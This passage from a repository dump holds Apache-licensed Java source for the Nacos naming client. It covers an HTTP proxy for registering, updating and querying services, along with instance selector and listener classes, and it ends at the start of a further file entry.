    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.http;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.SystemPropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.CommonParams;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ListView;\nimport com.alibaba.nacos.api.naming.pojo.Service;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\nimport com.alibaba.nacos.api.selector.ExpressionSelector;\nimport com.alibaba.nacos.api.selector.SelectorType;\nimport com.alibaba.nacos.client.address.ServerListChangeEvent;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.monitor.MetricsMonitor;\nimport com.alibaba.nacos.client.naming.core.NamingServerListManager;\nimport com.alibaba.nacos.client.naming.remote.AbstractNamingClientProxy;\nimport com.alibaba.nacos.client.naming.utils.UtilAndComs;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.HttpUtils;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.ConvertUtils;\nimport com.alibaba.nacos.common.utils.HttpMethod;\nimport com.alibaba.nacos.common.utils.InternetAddressUtil;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport com.fasterxml.jackson.databind.JsonNode;\nimport org.apache.hc.core5.http.HttpStatus;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.ThreadLocalRandom;\n\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTPS_PREFIX;\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTP_PREFIX;\n\n/**\n * Naming proxy.\n *\n * @author nkorange\n */\npublic class NamingHttpClientProxy extends AbstractNamingClientProxy {\n    \n    private final NacosRestTemplate nacosRestTemplate = NamingHttpClientManager.getInstance().getNacosRestTemplate();\n    \n    private static final int DEFAULT_SERVER_PORT = 8848;\n    \n    private static final String MODULE_NAME = \"Naming\";\n    \n    private static final String IP_PARAM = \"ip\";\n    \n    private static final String PORT_PARAM = \"port\";\n    \n    private static final String WEIGHT_PARAM = \"weight\";\n    \n    private static final String ENABLE_PARAM = \"enabled\";\n    \n    private static final String EPHEMERAL_PARAM = \"ephemeral\";\n    \n    private static final String META_PARAM = \"metadata\";\n    \n    private static final String SELECTOR_PARAM = \"selector\";\n    \n    private static final String HEALTHY_PARAM = \"healthy\";\n    \n    private static final String PROTECT_THRESHOLD_PARAM = \"protectThreshold\";\n    \n    private static final String CLUSTERS_PARAM = \"clusters\";\n    \n    private static final String CLIENT_IP_PARAM = \"clientIP\";\n    \n    private static final String HEALTHY_ONLY_PARAM = \"healthyOnly\";\n    \n    private static final String REGISTER_ENABLE_PARAM = \"enable\";\n    \n    private final String namespaceId;\n    \n    private final NamingServerListManager serverListManager;\n    \n    private final int maxRetry;\n    \n    private int serverPort = DEFAULT_SERVER_PORT;\n    \n    private boolean enableClientMetrics = true;\n    \n    public NamingHttpClientProxy(String namespaceId, SecurityProxy securityProxy, NamingServerListManager serverListManager,\n            NacosClientProperties properties) {\n        super(securityProxy);\n        this.serverListManager = serverListManager;\n        this.setServerPort(DEFAULT_SERVER_PORT);\n        this.namespaceId = namespaceId;\n        this.maxRetry = ConvertUtils.toInt(properties.getProperty(PropertyKeyConst.NAMING_REQUEST_DOMAIN_RETRY_COUNT,\n                String.valueOf(UtilAndComs.REQUEST_DOMAIN_RETRY_COUNT)));\n        this.enableClientMetrics = Boolean.parseBoolean(\n                properties.getProperty(PropertyKeyConst.ENABLE_CLIENT_METRICS, \"true\"));\n    }\n    \n    @Override\n    public void onEvent(ServerListChangeEvent event) {\n        // do nothing in http client\n    }\n    \n    @Override\n    public Class<? extends Event> subscribeType() {\n        return ServerListChangeEvent.class;\n    }\n    \n    @Override\n    public void registerService(String serviceName, String groupName, Instance instance) throws NacosException {\n        NAMING_LOGGER.info(\"[REGISTER-SERVICE] {} registering service {} with instance: {}\", namespaceId, serviceName,\n                instance);\n        String groupedServiceName = NamingUtils.getGroupedName(serviceName, groupName);\n        if (instance.isEphemeral()) {\n            throw new UnsupportedOperationException(\n                    \"Do not support register ephemeral instances by HTTP, please use gRPC replaced.\");\n        }\n        final Map<String, String> params = new HashMap<>(32);\n        params.put(CommonParams.NAMESPACE_ID, namespaceId);\n        params.put(CommonParams.SERVICE_NAME, groupedServiceName);\n        params.put(CommonParams.GROUP_NAME, groupName);\n        params.put(CommonParams.CLUSTER_NAME, instance.getClusterName());\n        params.put(IP_PARAM, instance.getIp());\n        params.put(PORT_PARAM, String.valueOf(instance.getPort()));\n        params.put(WEIGHT_PARAM, String.valueOf(instance.getWeight()));\n        params.put(REGISTER_ENABLE_PARAM, String.valueOf(instance.isEnabled()));\n        params.put(HEALTHY_PARAM, String.valueOf(instance.isHealthy()));\n        params.put(EPHEMERAL_PARAM, String.valueOf(instance.isEphemeral()));\n        params.put(META_PARAM, JacksonUtils.toJson(instance.getMetadata()));\n        reqApi(UtilAndComs.nacosUrlInstance, params, HttpMethod.POST);\n    }\n    \n    @Override\n    public void batchRegisterService(String serviceName, String groupName, List<Instance> instances) {\n        throw new UnsupportedOperationException(\n                \"Do not support persistent instances to perform batch registration methods.\");\n    }\n    \n    @Override\n    public void batchDeregisterService(String serviceName, String groupName, List<Instance> instances) {\n        throw new UnsupportedOperationException(\n                \"Do not support persistent instances to perform batch de registration methods.\");\n    }\n    \n    @Override\n    public void deregisterService(String serviceName, String groupName, Instance instance) throws NacosException {\n        NAMING_LOGGER.info(\"[DEREGISTER-SERVICE] {} deregistering service {} with instance: {}\", namespaceId,\n                serviceName, instance);\n        if (instance.isEphemeral()) {\n            return;\n        }\n        final Map<String, String> params = new HashMap<>(16);\n        params.put(CommonParams.NAMESPACE_ID, namespaceId);\n        params.put(CommonParams.SERVICE_NAME, NamingUtils.getGroupedName(serviceName, groupName));\n        params.put(CommonParams.CLUSTER_NAME, instance.getClusterName());\n        params.put(IP_PARAM, instance.getIp());\n        params.put(PORT_PARAM, String.valueOf(instance.getPort()));\n        params.put(EPHEMERAL_PARAM, String.valueOf(instance.isEphemeral()));\n        \n        reqApi(UtilAndComs.nacosUrlInstance, params, HttpMethod.DELETE);\n    }\n    \n    @Override\n    public void updateInstance(String serviceName, String groupName, Instance instance) throws NacosException {\n        NAMING_LOGGER.info(\"[UPDATE-SERVICE] {} update service {} with instance: {}\", namespaceId, serviceName,\n                instance);\n        \n        final Map<String, String> params = new HashMap<>(32);\n        params.put(CommonParams.NAMESPACE_ID, namespaceId);\n        params.put(CommonParams.SERVICE_NAME, serviceName);\n        params.put(CommonParams.GROUP_NAME, groupName);\n        params.put(CommonParams.CLUSTER_NAME, instance.getClusterName());\n        params.put(IP_PARAM, instance.getIp());\n        params.put(PORT_PARAM, String.valueOf(instance.getPort()));\n        params.put(WEIGHT_PARAM, String.valueOf(instance.getWeight()));\n        params.put(ENABLE_PARAM, String.valueOf(instance.isEnabled()));\n        params.put(EPHEMERAL_PARAM, String.valueOf(instance.isEphemeral()));\n        params.put(META_PARAM, JacksonUtils.toJson(instance.getMetadata()));\n        \n        reqApi(UtilAndComs.nacosUrlInstance, params, HttpMethod.PUT);\n    }\n    \n    @Override\n    public ServiceInfo queryInstancesOfService(String serviceName, String groupName, String clusters,\n            boolean healthyOnly) {\n        throw new UnsupportedOperationException(\n                \"Do not support query instance by http client,please use gRPC replaced.\");\n    }\n    \n    @Override\n    public Service queryService(String serviceName, String groupName) throws NacosException {\n        NAMING_LOGGER.info(\"[QUERY-SERVICE] {} query service : {}, {}\", namespaceId, serviceName, groupName);\n        \n        final Map<String, String> params = new HashMap<>(16);\n        params.put(CommonParams.NAMESPACE_ID, namespaceId);\n        params.put(CommonParams.SERVICE_NAME, serviceName);\n        params.put(CommonParams.GROUP_NAME, groupName);\n        \n        String result = reqApi(UtilAndComs.nacosUrlService, params, HttpMethod.GET);\n        return JacksonUtils.toObj(result, Service.class);\n    }\n    \n    @Override\n    public void createService(Service service, AbstractSelector selector) throws NacosException {\n        \n        NAMING_LOGGER.info(\"[CREATE-SERVICE] {} creating service : {}\", namespaceId, service);\n        \n        final Map<String, String> params = new HashMap<>(16);\n        params.put(CommonParams.NAMESPACE_ID, namespaceId);\n        params.put(CommonParams.SERVICE_NAME, service.getName());\n        params.put(CommonParams.GROUP_NAME, service.getGroupName());\n        params.put(PROTECT_THRESHOLD_PARAM, String.valueOf(service.getProtectThreshold()));\n        params.put(META_PARAM, JacksonUtils.toJson(service.getMetadata()));\n        params.put(SELECTOR_PARAM, JacksonUtils.toJson(selector));\n        \n        reqApi(UtilAndComs.nacosUrlService, params, HttpMethod.POST);\n        \n    }\n    \n    @Override\n    public boolean deleteService(String serviceName, String groupName) throws NacosException {\n        NAMING_LOGGER.info(\"[DELETE-SERVICE] {} deleting service : {} with groupName : {}\", namespaceId, serviceName,\n                groupName);\n        \n        final Map<String, String> params = new HashMap<>(16);\n        params.put(CommonParams.NAMESPACE_ID, namespaceId);\n        params.put(CommonParams.SERVICE_NAME, serviceName);\n        params.put(CommonParams.GROUP_NAME, groupName);\n        \n        String result = reqApi(UtilAndComs.nacosUrlService, params, HttpMethod.DELETE);\n        return \"ok\".equals(result);\n    }\n    \n    @Override\n    public void updateService(Service service, AbstractSelector selector) throws NacosException {\n        NAMING_LOGGER.info(\"[UPDATE-SERVICE] {} updating service : {}\", namespaceId, service);\n        \n        final Map<String, String> params = new HashMap<>(16);\n        params.put(CommonParams.NAMESPACE_ID, namespaceId);\n        params.put(CommonParams.SERVICE_NAME, service.getName());\n        params.put(CommonParams.GROUP_NAME, service.getGroupName());\n        params.put(PROTECT_THRESHOLD_PARAM, String.valueOf(service.getProtectThreshold()));\n        params.put(META_PARAM, JacksonUtils.toJson(service.getMetadata()));\n        params.put(SELECTOR_PARAM, JacksonUtils.toJson(selector));\n        \n        reqApi(UtilAndComs.nacosUrlService, params, HttpMethod.PUT);\n    }\n    \n    @Override\n    public boolean serverHealthy() {\n        try {\n            String result = reqApi(UtilAndComs.webContext + \"/v3/admin/core/state/liveness\", new HashMap<>(8), HttpMethod.GET);\n            JsonNode json = JacksonUtils.toObj(result);\n            int statusCode = json.get(\"code\").asInt();\n            return 0 == statusCode;\n        } catch (Exception e) {\n            return false;\n        }\n    }\n    \n    @Override\n    public ListView<String> getServiceList(int pageNo, int pageSize, String groupName, AbstractSelector selector)\n            throws NacosException {\n        \n        Map<String, String> params = new HashMap<>(16);\n        params.put(\"pageNo\", String.valueOf(pageNo));\n        params.put(\"pageSize\", String.valueOf(pageSize));\n        params.put(CommonParams.NAMESPACE_ID, namespaceId);\n        params.put(CommonParams.GROUP_NAME, groupName);\n        \n        if (selector != null) {\n            switch (SelectorType.valueOf(selector.getType())) {\n                case none:\n                    break;\n                case label:\n                    ExpressionSelector expressionSelector = (ExpressionSelector) selector;\n                    params.put(SELECTOR_PARAM, JacksonUtils.toJson(expressionSelector));\n                    break;\n                default:\n                    break;\n            }\n        }\n        \n        String result = reqApi(UtilAndComs.nacosUrlBase + \"/service/list\", params, HttpMethod.GET);\n        \n        JsonNode json = JacksonUtils.toObj(result);\n        ListView<String> listView = new ListView<>();\n        listView.setCount(json.get(\"count\").asInt());\n        listView.setData(JacksonUtils.toObj(json.get(\"doms\").toString(), new TypeReference<List<String>>() {\n        }));\n        \n        return listView;\n    }\n    \n    @Override\n    public ServiceInfo subscribe(String serviceName, String groupName, String clusters) throws NacosException {\n        throw new UnsupportedOperationException(\"Do not support subscribe service by UDP, please use gRPC replaced.\");\n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, String groupName, String clusters) throws NacosException {\n    }\n    \n    @Override\n    public boolean isSubscribed(String serviceName, String groupName, String clusters) throws NacosException {\n        return true;\n    }\n    \n    public String reqApi(String api, Map<String, String> params, String method) throws NacosException {\n        return reqApi(api, params, Collections.EMPTY_MAP, method);\n    }\n    \n    public String reqApi(String api, Map<String, String> params, Map<String, String> body, String method)\n            throws NacosException {\n        return reqApi(api, params, body, serverListManager.getServerList(), method);\n    }\n    \n    /**\n     * Request api.\n     *\n     * @param api     api\n     * @param params  parameters\n     * @param body    body\n     * @param servers servers\n     * @param method  http method\n     * @return result\n     * @throws NacosException nacos exception\n     */\n    public String reqApi(String api, Map<String, String> params, Map<String, String> body, List<String> servers,\n            String method) throws NacosException {\n        \n        params.put(CommonParams.NAMESPACE_ID, getNamespaceId());\n        \n        if (CollectionUtils.isEmpty(servers) && !serverListManager.isDomain()) {\n            throw new NacosException(NacosException.INVALID_PARAM, \"no server available\");\n        }\n        \n        NacosException exception = new NacosException();\n        if (serverListManager.isDomain()) {\n            String nacosDomain = serverListManager.getNacosDomain();\n            for (int i = 0; i < maxRetry; i++) {\n                try {\n                    return callServer(api, params, body, nacosDomain, method);\n                } catch (NacosException e) {\n                    exception = e;\n                    if (NAMING_LOGGER.isDebugEnabled()) {\n                        NAMING_LOGGER.debug(\"request {} failed.\", nacosDomain, e);\n                    }\n                }\n            }\n        } else {\n            int index = ThreadLocalRandom.current().nextInt(servers.size());\n            \n            for (int i = 0; i < servers.size(); i++) {\n                String server = servers.get(index);\n                try {\n                    return callServer(api, params, body, server, method);\n                } catch (NacosException e) {\n                    exception = e;\n                    if (NAMING_LOGGER.isDebugEnabled()) {\n                        NAMING_LOGGER.debug(\"request {} failed.\", server, e);\n                    }\n                }\n                index = (index + 1) % servers.size();\n            }\n        }\n        \n        NAMING_LOGGER.error(\"request: {} failed, servers: {}, code: {}, msg: {}\", api, servers, exception.getErrCode(),\n                exception.getErrMsg());\n        \n        throw new NacosException(exception.getErrCode(),\n                \"failed to req API:\" + api + \" after all servers(\" + servers + \") tried: \" + exception.getMessage());\n        \n    }\n    \n    /**\n     * Call server.\n     *\n     * @param api       api\n     * @param params    parameters\n     * @param body      body\n     * @param curServer ?\n     * @param method    http method\n     * @return result\n     * @throws NacosException nacos exception\n     */\n    public String callServer(String api, Map<String, String> params, Map<String, String> body, String curServer,\n            String method) throws NacosException {\n        long start = System.currentTimeMillis();\n        long end = 0;\n        String namespace = params.get(CommonParams.NAMESPACE_ID);\n        String group = params.get(CommonParams.GROUP_NAME);\n        String serviceName = params.get(CommonParams.SERVICE_NAME);\n        params.putAll(getSecurityHeaders(namespace, group, serviceName));\n        Header header = HttpUtils.builderHeader(MODULE_NAME);\n        \n        String url;\n        if (curServer.startsWith(HTTPS_PREFIX) || curServer.startsWith(HTTP_PREFIX)) {\n            url = curServer + api;\n        } else {\n            if (!InternetAddressUtil.containsPort(curServer)) {\n                curServer = curServer + InternetAddressUtil.IP_PORT_SPLITER + serverPort;\n            }\n            url = NamingHttpClientManager.getInstance().getPrefix() + curServer + api;\n        }\n        try {\n            HttpRestResult<String> restResult = nacosRestTemplate.exchangeForm(url, header,\n                    Query.newInstance().initParams(params), body, method, String.class);\n            end = System.currentTimeMillis();\n            \n            if (enableClientMetrics) {\n                try {\n                    MetricsMonitor.getNamingRequestMonitor(method, url, String.valueOf(restResult.getCode()))\n                            .observe(end - start);\n                } catch (Throwable t) {\n                    NAMING_LOGGER.error(\"Failed to record metrics. Method: {}, URL: {}, HTTP Status Code: {}\",\n                            method, url, restResult.getCode(), t);\n                }\n            }\n            \n            if (restResult.ok()) {\n                return restResult.getData();\n            }\n            if (HttpStatus.SC_NOT_MODIFIED == restResult.getCode()) {\n                return StringUtils.EMPTY;\n            }\n            \n            // If the 403 login operation is triggered, refresh the accessToken of the client\n            if (HttpStatus.SC_FORBIDDEN == restResult.getCode()) {\n                reLogin();\n            }\n\n            throw new NacosException(restResult.getCode(), restResult.getMessage());\n        } catch (NacosException e) {\n            NAMING_LOGGER.error(\"[NA] failed to request\", e);\n            throw e;\n        } catch (Exception e) {\n            NAMING_LOGGER.error(\"[NA] failed to request\", e);\n            throw new NacosException(NacosException.SERVER_ERROR, e);\n        }\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setServerPort(int serverPort) {\n        this.serverPort = serverPort;\n        \n        String sp = NacosClientProperties.PROTOTYPE.getProperty(SystemPropertyKeyConst.NAMING_SERVER_PORT);\n        if (StringUtils.isNotBlank(sp)) {\n            this.serverPort = Integer.parseInt(sp);\n        }\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        String className = this.getClass().getName();\n        NAMING_LOGGER.info(\"{} do shutdown begin\", className);\n        NamingHttpClientManager.getInstance().shutdown();\n        NAMING_LOGGER.info(\"{} do shutdown stop\", className);\n    }\n}\n\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/selector/DefaultNamingSelector.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.selector;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.selector.NamingContext;\nimport com.alibaba.nacos.api.naming.selector.NamingResult;\nimport com.alibaba.nacos.api.naming.selector.NamingSelector;\n\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.function.Predicate;\nimport java.util.stream.Collectors;\n\n/**\n * Default naming selector.\n *\n * @author lideyou\n */\npublic class DefaultNamingSelector implements NamingSelector {\n    \n    private final Predicate<Instance> filter;\n    \n    public DefaultNamingSelector(Predicate<Instance> filter) {\n        this.filter = filter;\n    }\n    \n    @Override\n    public NamingResult select(NamingContext context) {\n        List<Instance> instances = doFilter(context.getInstances());\n        return () -> instances;\n    }\n    \n    private List<Instance> doFilter(List<Instance> instances) {\n        return instances == null ? Collections.emptyList()\n                : instances.stream().filter(filter).collect(Collectors.toList());\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/selector/NamingListenerInvoker.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.selector;\n\nimport com.alibaba.nacos.api.naming.listener.AbstractEventListener;\nimport com.alibaba.nacos.api.naming.listener.EventListener;\nimport com.alibaba.nacos.api.naming.listener.NamingEvent;\nimport com.alibaba.nacos.client.selector.ListenerInvoker;\n\nimport java.util.Objects;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * Naming listener invoker.\n *\n * @author lideyou\n */\npublic class NamingListenerInvoker implements ListenerInvoker<NamingEvent> {\n    \n    private final EventListener listener;\n    \n    private final AtomicBoolean invoked = new AtomicBoolean(false);\n    \n    public NamingListenerInvoker(EventListener listener) {\n        this.listener = listener;\n    }\n    \n    @Override\n    public void invoke(NamingEvent event) {\n        invoked.set(true);\n        logInvoke(event);\n        if (listener instanceof AbstractEventListener && ((AbstractEventListener) listener).getExecutor() != null) {\n            ((AbstractEventListener) listener).getExecutor().execute(() -> listener.onEvent(event));\n        } else {\n            listener.onEvent(event);\n        }\n    }\n    \n    private void logInvoke(NamingEvent event) {\n        NAMING_LOGGER.info(\"Invoke event groupName: {}, serviceName: {} to Listener: {}\", event.getGroupName(),\n                event.getServiceName(), listener.toString());\n    }\n    \n    @Override\n    public boolean isInvoked() {\n        return invoked.get();\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        \n        if (this == o) {\n            return true;\n        }\n        \n        NamingListenerInvoker that = (NamingListenerInvoker) o;\n        return Objects.equals(listener, that.listener);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hashCode(listener);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/selector/NamingSelectorFactory.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.selector;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.selector.NamingSelector;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.Set;\nimport java.util.TreeSet;\nimport java.util.function.Predicate;\nimport java.util.regex.Pattern;\n\n/**\n * Selectors factory.\n *\n * @author lideyou\n */\npublic final class NamingSelectorFactory {\n    \n    public static final NamingSelector EMPTY_SELECTOR = context -> context::getInstances;\n    \n    public static final NamingSelector HEALTHY_SELECTOR = new DefaultNamingSelector(Instance::isHealthy);\n    \n    /**\n     * Cluster selector.\n     */\n    private static class ClusterSelector extends DefaultNamingSelector {\n        \n        private final String clusterString;\n        \n        public ClusterSelector(Predicate<Instance> filter, String clusterString) {\n            super(filter);\n            this.clusterString = clusterString;\n        }\n        \n        @Override\n        public boolean equals(Object o) {\n            if (this == o) {\n                return true;\n            }\n            if (o == null || getClass() != o.getClass()) {\n                return false;\n            }\n            ClusterSelector that = (ClusterSelector) o;\n            return Objects.equals(this.clusterString, that.clusterString);\n        }\n        \n        @Override\n        public int hashCode() {\n            return Objects.hashCode(this.clusterString);\n        }\n    }\n    \n    private NamingSelectorFactory() {\n    }\n    \n    /**\n     * Create a cluster selector.\n     *\n     * @param clusters target cluster\n     * @return cluster selector\n     */\n    public static NamingSelector newClusterSelector(Collection<String> clusters) {\n        if (CollectionUtils.isNotEmpty(clusters)) {\n            final Set<String> set = new HashSet<>(clusters);\n            Predicate<Instance> filter = instance -> set.contains(instance.getClusterName());\n            String clusterString = getUniqueClusterString(clusters);\n            return new ClusterSelector(filter, clusterString);\n        } else {\n            return EMPTY_SELECTOR;\n        }\n    }\n    \n    /**\n     * Create a IP selector.\n     *\n     * @param regex regular expression of IP\n     * @return IP selector\n     */\n    public static NamingSelector newIpSelector(String regex) {\n        if (regex == null) {\n            throw new IllegalArgumentException(\"The parameter 'regex' cannot be null.\");\n        }\n        return new DefaultNamingSelector(instance -> Pattern.matches(regex, instance.getIp()));\n    }\n    \n    /**\n     * Create a metadata selector.\n     *\n     * @param metadata metadata that needs to be matched\n     * @return metadata selector\n     */\n    public static NamingSelector newMetadataSelector(Map<String, String> metadata) {\n        return newMetadataSelector(metadata, false);\n    }\n    \n    /**\n     * Create a metadata selector.\n     *\n     * @param metadata target metadata\n     * @param isAny    true if any of the metadata needs to be matched, false if all the metadata need to be matched.\n     * @return metadata selector\n     */\n    public static NamingSelector newMetadataSelector(Map<String, String> metadata, boolean isAny) {\n        if (metadata == null) {\n            throw new IllegalArgumentException(\"The parameter 'metadata' cannot be null.\");\n        }\n        \n        Predicate<Instance> filter = instance -> instance.getMetadata().size() >= metadata.size();\n        \n        for (Map.Entry<String, String> entry : metadata.entrySet()) {\n            Predicate<Instance> nextFilter = instance -> {\n                Map<String, String> map = instance.getMetadata();\n                return Objects.equals(map.get(entry.getKey()), entry.getValue());\n            };\n            if (isAny) {\n                filter = filter.or(nextFilter);\n            } else {\n                filter = filter.and(nextFilter);\n            }\n        }\n        return new DefaultNamingSelector(filter);\n    }\n    \n    public static String getUniqueClusterString(Collection<String> cluster) {\n        TreeSet<String> treeSet = new TreeSet<>(cluster);\n        return StringUtils.join(treeSet, \",\");\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/selector/NamingSelectorWrapper.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.selector;\n\nimport com.alibaba.nacos.api.naming.listener.EventListener;\nimport com.alibaba.nacos.api.naming.listener.NamingEvent;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.selector.NamingContext;\nimport com.alibaba.nacos.api.naming.selector.NamingSelector;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeEvent;\nimport com.alibaba.nacos.client.naming.event.InstancesDiff;\nimport com.alibaba.nacos.client.naming.listener.NamingChangeEvent;\nimport com.alibaba.nacos.client.selector.AbstractSelectorWrapper;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\n\nimport java.util.Collections;\nimport java.util.List;\n\n/**\n * Naming selector wrapper.\n *\n * @author lideyou\n */\npublic class NamingSelectorWrapper extends AbstractSelectorWrapper<NamingSelector, NamingEvent, InstancesChangeEvent> {\n    \n    private String serviceName;\n    \n    private String groupName;\n    \n    private String clusters;\n    \n    private final InnerNamingContext namingContext = new InnerNamingContext();\n    \n    private class InnerNamingContext implements NamingContext {\n        \n        private List<Instance> instances;\n        \n        @Override\n        public String getServiceName() {\n            return serviceName;\n        }\n        \n        @Override\n        public String getGroupName() {\n            return groupName;\n        }\n        \n        @Override\n        public String getClusters() {\n            return clusters;\n        }\n        \n        @Override\n        public List<Instance> getInstances() {\n            return instances;\n        }\n        \n        private void setInstances(List<Instance> instances) {\n            this.instances = instances;\n        }\n    }\n    \n    public NamingSelectorWrapper(NamingSelector selector, EventListener listener) {\n        super(selector, new NamingListenerInvoker(listener));\n    }\n    \n    public NamingSelectorWrapper(String serviceName, String groupName, String clusters, NamingSelector selector,\n            EventListener listener) {\n        this(selector, listener);\n        this.serviceName = serviceName;\n        this.groupName = groupName;\n        this.clusters = clusters;\n    }\n    \n    @Override\n    protected boolean isSelectable(InstancesChangeEvent event) {\n        return event != null && event.getHosts() != null && event.getInstancesDiff() != null;\n    }\n    \n    @Override\n    public boolean isCallable(NamingEvent event) {\n        if (event == null) {\n            return false;\n        }\n        NamingChangeEvent changeEvent = (NamingChangeEvent) event;\n        return changeEvent.isAdded() || changeEvent.isRemoved() || changeEvent.isModified();\n    }\n    \n    @Override\n    protected NamingEvent buildListenerEvent(InstancesChangeEvent event) {\n        List<Instance> currentIns = Collections.emptyList();\n        if (CollectionUtils.isNotEmpty(event.getHosts())) {\n            currentIns = doSelect(event.getHosts());\n        }\n        \n        InstancesDiff diff = event.getInstancesDiff();\n        InstancesDiff newDiff = new InstancesDiff();\n        if (diff.isAdded()) {\n            newDiff.setAddedInstances(doSelect(diff.getAddedInstances()));\n        }\n        if (diff.isRemoved()) {\n            newDiff.setRemovedInstances(doSelect(diff.getRemovedInstances()));\n        }\n        if (diff.isModified()) {\n            newDiff.setModifiedInstances(doSelect(diff.getModifiedInstances()));\n        }\n        \n        return new NamingChangeEvent(serviceName, groupName, clusters, currentIns, newDiff);\n    }\n    \n    private List<Instance> doSelect(List<Instance> instances) {\n        NamingContext context = getNamingContext(instances);\n        return this.getSelector().select(context).getResult();\n    }\n    \n    private NamingContext getNamingContext(final List<Instance> instances) {\n        namingContext.setInstances(instances);\n        return namingContext;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/selector/ServiceInfoContext.java",
